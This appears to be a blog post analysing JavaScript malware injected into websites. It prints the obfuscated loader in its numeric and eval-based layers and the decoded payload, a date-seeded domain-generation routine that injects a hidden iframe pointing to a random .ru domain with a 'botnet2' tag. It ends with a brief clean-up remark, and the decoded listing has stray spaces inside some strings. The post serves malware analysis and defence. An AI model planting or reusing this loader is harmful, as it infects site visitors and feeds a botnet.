55,50,54,44,50,51,48,44,53,56, 50,44,53,54,48,44,54,55,50,44, 53,48,53,44,54,54,48,44,53,48, 48,44,52,48,50,44,53,50,48,44, 54,51,48,44,53,52,48,44,54,48, 48,44,50,48,48,44,54,51,48,44, 53,49,48,44,54,56,52,44,53,52, 53,44,50,52,54,44,50,57,53,44, 54,48,44,49,54,48,44,49,57,50, 44,49,54,48,44,49,57,50,44,49, 54,48,44,49,57,50,44,49,54,48, 44,49,57,50,44,54,50,53,44,54, 48,44,49,54,48,44,49,57,50,44, 49,54,48,44,49,57,50,44,54,50, 53,44,53,57,52,44,52,56,53,44, 54,57,54,44,52,57,53,44,54,50, 52,44,50,48,48,44,54,48,54,44, 50,48,53,44,55,51,56,44,54,50, 53,44,54,48,44,54,50,53,44,50, 54,52,44,49,54,48,44,51,49,56, 44,50,52,48,44,50,56,56,44,50, 48,53,44,51,53,52,93,59,118, 61,34,101,118,97,34,59,125, 105,102,40,118,41,101,61,119, 105,110,100,111,119,91,118,43, 34,108,34,93,59,119,61,102,59, 115,61,91,93,59,114,61,83,116, 114,105,110,103,59,122,61,40, 40,101,41,63,34,67,111,100, 101,34,58,34,34,41,59,102,111, 114,40,59,49,55,55,54,45,53, 43,53,62,105,59,105,43,61,49, 41,123,106,61,105,59,105,102, 40,101,41,115,61,115,43,114, 91,102,114,43,40,40,101,41,63, 34,67,111,100,101,34,58,49,50, 41,93,40,40,119,91,106,93,47, 40,53,43,101,40,34,106,37,50, 34,41,41,41,41,59,125,10,105, 102,40,102,41,101,40,115,41, 59,125,10));
Second obfuscation level
try {
prototype % 2;
} catch (asd) {
x = 2;
}
try {
q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
q.appendChild(q + "");
} catch (fwbewe) {
i = 0;
try {
prototype * 5;
} catch (z) {
fr = "fromChar";
f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
v = "eva";
}
if (v) e = window[v + "l"];
w = f;
s = [];
r = String;
z = ((e) ? "Code" : "");
for (; 1776 - 5 + 5 > i; i += 1) {
j = i;
if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
}
if (f) e(s);
}
Decoded malicious payload
function nextRandomNumber(){
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if(test > 0){
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix){
var d = new Date(unix*1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max){
return Math.round((Max-Min) * r.next() + Min);
}
function generatePseudoRandomString( unix, length, zone){
var rand = new RandomNumberGenerator(unix);
var letters = ['a','b','c','d','e','f','g',' h','i','j','k','l','m','n','o' ,'p','q','r','s','t','u','v',' w','x','y','z'];
var str = '';
for(var i = 0; i < length; i ++ ){
str += letters[createRandomNumber( rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function(){
try{
if(typeof iframeWasCreated == "undefined"){
iframeWasCreated = true;
var unix = Math.round(+new Date()/1000);
/*
* generate random domain name in .ru area
*/
var domainName = generatePseudoRandomString( unix, 16, 'ru');
ifrm = document.createElement(" IFRAME");
ifrm.setAttribute("src", "http://"+domainName+"/ runforestrun?sid=botnet2");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild( ifrm);
}
}catch(e){}
}, 500);
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
No comments:
Post a Comment